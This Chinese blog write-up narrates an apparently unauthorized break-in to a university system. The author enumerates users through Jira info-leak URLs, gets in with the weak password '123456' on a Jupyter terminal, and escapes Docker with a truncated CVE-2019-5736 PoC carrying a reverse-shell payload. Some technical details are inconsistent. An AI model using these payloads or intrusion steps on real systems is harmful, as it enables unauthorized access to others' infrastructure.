偶然的一次渗透从弱口令-＞docker逃逸

快来打我* 2022-12-31 14:21 190阅读 0赞

### 0x01 前言 ###

前两天一直在学习Python造轮子，方便自己前期信息收集，测试脚本进行批量扫描的时候，无意中点开的一个带有edu域名，便有此文。

### 0x02 前期信息收集 ###

Web整体架构:

操作系统:Ubuntu
    Web服务器: Nginx+Java
    端口开放信息: 80 443

目录扫描结果

![图片][2064bf29c8b22e32891904f0482ab9f6.png]

### 0x03 挨个测试 ###

可以看到,扫描到了一个"jira目录",猜想是Jupyter NoteBook组件.

![图片][7d5b5e82ede914f723effb7b5a485534.png]

访问果不其然，Jupyter组建的登陆点

![图片][d8898ed5aa569771c9955135da25b725.png]

其他3个有效目录都是登陆点

*  gitlab

![图片][a77518c6025143fec58a9fc013a221e8.png]

*  ownclou

![图片][cee54a2eba2cc2940753c8e966a7bc99.png]

*  confluence

![图片][cf4630ee65ac23e50a5696f6640c128a.png]

我晕~要让我爆破吗,先放着.由于Jupyter组件,到网上查阅历史漏洞

我晕~要让我爆破吗，先放着，由于Jupyter组件，到网上查阅历史漏洞

> 未授权+2个信息泄露

未授权访问漏洞修复了，需要密码

![图片][243d84758d7cb37bb9ef1bfb5a95f5a9.png]

利用信息泄露爆用户

Exp1:

> /jira/secure/ViewUserHover.jspa?username=admin

Exp2:

> /jira/rest/api/latest/groupuserpicker?query=admin&maxResults=50&showAvatar=true

![图片][75725d8800b93350f9f3fd0e9a7331a5.png]

存在用户的话是会返回用户信息的，然后爆破~

![图片][ad5555e139f3b1a700f4116ae14ca6ee.png]

爆破出一个“Kevin”用户

掏出我珍藏几天的字典爆密码去~

![图片][044cedb3add61b533f817d5e89fb5c7f.png]

然后啥也没

### ![图片][66ad89b0bf41bb2cb55cabf9906d02bc.png] ###

### 0x04 突破点 ###

剩下最后一个登陆口了，修复了的未授权访问，怎么不修信息泄露呢?

![图片][b14868e87d8148b1ed856861dd13c76b.png]

随手一个"123456"

![图片][99a66517db0ab1a4184ee3adf2fa40d7.png]

竟然...给我进来了(人要傻了)  
那么就好办了,按照历史漏洞

New->Terminal

直接可以执行命令

![图片][e21378f39c6d77595f8abb36d71fff22.png]

习惯性的去根目录,看看有啥文件

![图片][e2428d8663a33a6ed296f78b925d52ad.png]

看到'.dockerenv'文件,不是吧不是吧,在裸奔的我有点慌,难道踩罐了?

![图片][fc3cfcc9ce8c3d83d136c238c18eee8d.png]

查询系统进程的cgroup信息

![图片][c2df1f40ce179655aead6ba53ea31f6a.png]

docker没错了,蜜罐的可能性不大,因为是部署在某知名大学的一个办公系统的.

### 0x05 docker逃逸 ###

之前从没实战碰到过docker,也没复现过docker逃逸这个洞,这个点就折腾了比较久.

参考文章: https://www.freebuf.com/articles/web/258398.html  
CVE-2019-5376这个漏洞是需要重新进入docker才能触发.才能弹回来shell的.而我们上面正好是可以直接进入docker终端,于是尝试利用

Poc:  
https://github.com/Frichetten/CVE-2019-5736-PoC  
修改main.go此处更改为弹shell命令

package main
    
    // Implementation of CVE-2019-5736
    // Created with help from @singe, @_cablethief, and @feexd.
    // This commit also helped a ton to understand the vuln
    // https://github.com/lxc/lcx/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d
    import (
        "fmt",
        "io/ioutil"
        "os"
        "strconv"
        "strings"
    )
    
    // This is the line of shell commands that will execute on the host
    var payload = "#!/bin/bash \n bash -i >& xxxxxxxxxxxxxxxxxxxxxxxxxxx 0>&1"
    
    func main() {
        // First we overwrite /bin/sh with the /proc/self/exe interpreter path
        fd, err := os.Create("/bin/sh")
        if err != nil {
            fmt.Println(err)
            return
        }
        fmt.Fprintln(fd, "#!/proc/self/exe")
        err = fd.Close()
        if err != nil {
            fmt.Println(err)
            return
        }
        fmt.Println("[+] Overwritten /bin/sh successfully")
    
        // Loop through all processes to find one whose cmdline includes runcinit
        // This will be the process created by runc
        var found int
        for found == 0 {

完了之后发现自己没有go语言环境

![图片][99b34e56b6db81c778c204f459eeb7e9.gif]

听说Mac自带go语言环境,认识个表哥正好用的Mac,于是找他帮忙编译

![图片][114e244bca3cf55c748a85e4d8925013.png]

这就是"尊贵的Mac用户"吗,哈哈哈哈  
自己折腾了一套go语言环境也是成功编译了.  
到之前弱口令进入的Jupyter组件上传exp到目标Web站点

![图片][68f60a62af00b6846646a9743b11218f.png]

我们这边VPS监听1314端口

![图片][1e8f42c104eba5ffb79e735021271f7b.png]

靶机运行我们的Exp

![图片][85911197551e40938eabb4dba2f3abbf.png]

然后我们回到Jupyter那个组件，重新进入终端界面

![图片][4f42040e72563da235946a6bd366aa29.png]

然后莫名其妙没弹回来shell，乱晃悠发现是我自己VPS端口问题，换个端口，成功弹回来主机shell

![图片][2fa6ac3f1724ceca1abb842c1650abf8.png]

### 结语 ###

貌似部署在阿里云上面的,未授权原因就不再继续深入了,交洞收工!

![图片][a3487da5da95995863dde1d223a38f52.png]

[2064bf29c8b22e32891904f0482ab9f6.png]: /images/20221120/88d27060154c4ced90bb064abd5952fe.png
[7d5b5e82ede914f723effb7b5a485534.png]: /images/20221120/52a76da676ab4f41bcf5bf988eb8434e.png
[d8898ed5aa569771c9955135da25b725.png]: https://img-blog.csdnimg.cn/img_convert/d8898ed5aa569771c9955135da25b725.png
[a77518c6025143fec58a9fc013a221e8.png]: https://img-blog.csdnimg.cn/img_convert/a77518c6025143fec58a9fc013a221e8.png
[cee54a2eba2cc2940753c8e966a7bc99.png]: https://img-blog.csdnimg.cn/img_convert/cee54a2eba2cc2940753c8e966a7bc99.png
[cf4630ee65ac23e50a5696f6640c128a.png]: https://img-blog.csdnimg.cn/img_convert/cf4630ee65ac23e50a5696f6640c128a.png
[243d84758d7cb37bb9ef1bfb5a95f5a9.png]: https://img-blog.csdnimg.cn/img_convert/243d84758d7cb37bb9ef1bfb5a95f5a9.png
[75725d8800b93350f9f3fd0e9a7331a5.png]: https://img-blog.csdnimg.cn/img_convert/75725d8800b93350f9f3fd0e9a7331a5.png
[ad5555e139f3b1a700f4116ae14ca6ee.png]: https://img-blog.csdnimg.cn/img_convert/ad5555e139f3b1a700f4116ae14ca6ee.png
[044cedb3add61b533f817d5e89fb5c7f.png]: https://img-blog.csdnimg.cn/img_convert/044cedb3add61b533f817d5e89fb5c7f.png
[66ad89b0bf41bb2cb55cabf9906d02bc.png]: https://img-blog.csdnimg.cn/img_convert/66ad89b0bf41bb2cb55cabf9906d02bc.png
[b14868e87d8148b1ed856861dd13c76b.png]: https://img-blog.csdnimg.cn/img_convert/b14868e87d8148b1ed856861dd13c76b.png
[99a66517db0ab1a4184ee3adf2fa40d7.png]: https://img-blog.csdnimg.cn/img_convert/99a66517db0ab1a4184ee3adf2fa40d7.png
[e21378f39c6d77595f8abb36d71fff22.png]: https://img-blog.csdnimg.cn/img_convert/e21378f39c6d77595f8abb36d71fff22.png
[e2428d8663a33a6ed296f78b925d52ad.png]: https://img-blog.csdnimg.cn/img_convert/e2428d8663a33a6ed296f78b925d52ad.png
[fc3cfcc9ce8c3d83d136c238c18eee8d.png]: https://img-blog.csdnimg.cn/img_convert/fc3cfcc9ce8c3d83d136c238c18eee8d.png
[c2df1f40ce179655aead6ba53ea31f6a.png]: https://img-blog.csdnimg.cn/img_convert/c2df1f40ce179655aead6ba53ea31f6a.png
[99b34e56b6db81c778c204f459eeb7e9.gif]: https://img-blog.csdnimg.cn/img_convert/99b34e56b6db81c778c204f459eeb7e9.gif
[114e244bca3cf55c748a85e4d8925013.png]: https://img-blog.csdnimg.cn/img_convert/114e244bca3cf55c748a85e4d8925013.png
[68f60a62af00b6846646a9743b11218f.png]: https://img-blog.csdnimg.cn/img_convert/68f60a62af00b6846646a9743b11218f.png
[1e8f42c104eba5ffb79e735021271f7b.png]: https://img-blog.csdnimg.cn/img_convert/1e8f42c104eba5ffb79e735021271f7b.png
[85911197551e40938eabb4dba2f3abbf.png]: https://img-blog.csdnimg.cn/img_convert/85911197551e40938eabb4dba2f3abbf.png
[4f42040e72563da235946a6bd366aa29.png]: https://img-blog.csdnimg.cn/img_convert/4f42040e72563da235946a6bd366aa29.png
[2fa6ac3f1724ceca1abb842c1650abf8.png]: https://img-blog.csdnimg.cn/img_convert/2fa6ac3f1724ceca1abb842c1650abf8.png
[a3487da5da95995863dde1d223a38f52.png]: https://img-blog.csdnimg.cn/img_convert/a3487da5da95995863dde1d223a38f52.png